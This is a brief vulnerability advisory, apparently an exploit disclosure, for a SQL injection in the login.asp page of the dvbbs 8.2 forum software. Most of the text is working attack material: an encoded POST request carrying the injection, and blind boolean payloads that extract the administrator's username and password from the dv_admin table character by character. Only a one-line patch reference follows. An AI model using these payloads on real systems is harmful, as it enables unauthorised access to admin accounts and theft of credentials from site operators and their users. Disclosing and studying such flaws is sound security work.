name:
where (topsec security research group)

email:
hackerb@hotmail.com

Subject:
dvbbs8.2(access/sql)version login.asp remote sql injection

danger level:
critical/High

info:
dvbbs is prone to multiple sql injection security flaw

interrelated code to access version(exp):
password=123123&codestr=71&CookieDate=2&userhidden=2&comeurl=index.asp&submit=%u7ACB%u5373%u767B%u5F55&ajaxPost=1&username=where%2527%2520and%25201%253D%2528select%2520count%2528*%2529%2520from%2520dv_admin%2520where%2520left%2528username%252C1%2529%253D%2527a%2527%2529%2520and%2520%25271%2527%253D%25271

Examples(access version):
decide
Where’ and ‘1’=’1
where’ and ‘1’=’2
to get usernamer or password
where' and 1=(select count(*) from dv_admin where left(username,1)='a') and '1'='1
where' and 1=(select count(*) from dv_admin where left(username,2)='ad') and '1'='1
.......................
.......................
where' and 1=(select count(*) from dv_admin where left(password,1)='1') and '1'='1
where' and 1=(select count(*) from dv_admin where left(password,2)='15') and '1'='1
......................
......................

Solution:
Authorities patch 
dvbbs web site(http://www.dvbbs.net)

References:
dvbbs(http://www.dvbbs.net)